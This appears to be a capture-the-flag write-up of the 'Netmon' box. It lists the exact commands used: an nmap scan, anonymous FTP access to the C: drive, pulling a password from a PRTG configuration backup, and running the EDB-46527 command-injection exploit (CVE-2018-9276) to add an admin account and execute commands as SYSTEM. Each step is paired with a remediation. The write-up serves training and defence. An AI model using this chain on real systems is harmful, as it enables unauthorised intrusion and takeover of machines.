Netmon
Summary
I browsed the target's entire hard drive through an anonymously accessible FTP service, recovered the PRTG Network Monitor administrator password from an undeleted configuration backup file, then guessed the current password by incrementing the year in the stale credential, and finally exploited a known authenticated command-injection vulnerability in that PRTG version to execute operating-system commands as LocalSystem — the highest-privilege account on the machine.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export PASSWORD="<the-password-you-recovered>"
export PASSWORD4="<the-password-you-recovered>"Attack path — how the box was taken
Exact commands 1
Full-port version scan; -sC runs default NSE scripts to grab banners and check common misconfigurations.
$ nmap -sV -sC -p- --open --min-rate 5000 $TARGET -oN /tmp/nmap_full.txtExact commands 3
At the prompt enter 'anonymous' as username and leave the password blank (or any string).
$ ftp $TARGETNon-interactive directory listing of the FTP root — shows the full C:\ drive.
$ curl -s --user anonymous: ftp://$TARGET/ --list-onlyRetrieve the user flag directly over FTP — no shell required. Value: <user.txt>
$ curl -s --user anonymous: "ftp://$TARGET/Users/Public/user.txt"FixDisable anonymous FTP access and restrict the FTP root directoryCritical
Exact commands 2
Download the PRTG backup configuration file over anonymous FTP.
$ curl -s --user anonymous: "ftp://$TARGET/ProgramData/Paessler/PRTG%20Network%20Monitor/PRTG%20Configuration.old.bak" -o prtg_config.bakExtract credential fields from the XML backup; look for <dbpassword> tags.
$ grep -i 'dbpassword\|password\|prtgadmin' prtg_config.bak | head -30FixDelete PRTG configuration backup files and tighten file-system permissions on PRTG dataHigh
Exact commands 1
A Set-Cookie line in the response confirms the credential is valid.
$ curl -s -k -i --data-urlencode username=prtgadmin --data-urlencode "password=$PASSWORD" --data 'loginurl=/index.htm' http://$TARGET/public/checklogin.htm | grep -i 'set-cookie\|location'FixReplace the PRTG admin password with a long, randomly generated credential and enforce a rotation policyHigh
Exact commands 3
Capture the authenticated session cookie into a shell variable.
$ cookie=$(curl -s -k -i --data-urlencode username=prtgadmin --data-urlencode "password=$PASSWORD" --data 'loginurl=/index.htm' http://$TARGET/public/checklogin.htm | awk -F': ' 'BEGIN{ORS=""} /^Set-Cookie:/ {split($2,a,";"); print a[1]"; "}')
echo "Cookie captured: $cookie"Runs EDB-46527; by default adds local admin account 'pentest' / <withheld>. Alternatively edit the script to execute a reverse shell command.
$ bash /usr/share/exploitdb/exploits/windows/webapps/46527.sh -u http://$TARGET -c "$cookie"Confirm SYSTEM-level code execution via the newly created admin account.
$ nxc smb $TARGET -u pentest -p "$PASSWORD4" --local-auth -x 'whoami'FixUpgrade PRTG Network Monitor to 18.2.39 or later to fix CVE-2018-9276Critical
Exact commands 1
Read root flag as SYSTEM. Value: <root.txt>
$ nxc smb $TARGET -u pentest -p "$PASSWORD4" --local-auth -x 'type C:\Users\Administrator\Desktop\root.txt'Exposed services
| 21/tcp | ftp Microsoft ftpd |
| 80/tcp | http Indy httpd 18.1.37.13946 (Paessler PRTG bandwidth monitor) |
| 135/tcp | msrpc Microsoft Windows RPC |
| 139/tcp | netbios-ssn Microsoft Windows netbios-ssn |
| 445/tcp | microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds |
| 5985/tcp | http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |
| 47001/tcp | http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |
| 49664/tcp | msrpc Microsoft Windows RPC |
| 49665/tcp | msrpc Microsoft Windows RPC |
| 49666/tcp | msrpc Microsoft Windows RPC |
| 49667/tcp | msrpc Microsoft Windows RPC |
| 49668/tcp | msrpc Microsoft Windows RPC |
| 49669/tcp | msrpc Microsoft Windows RPC |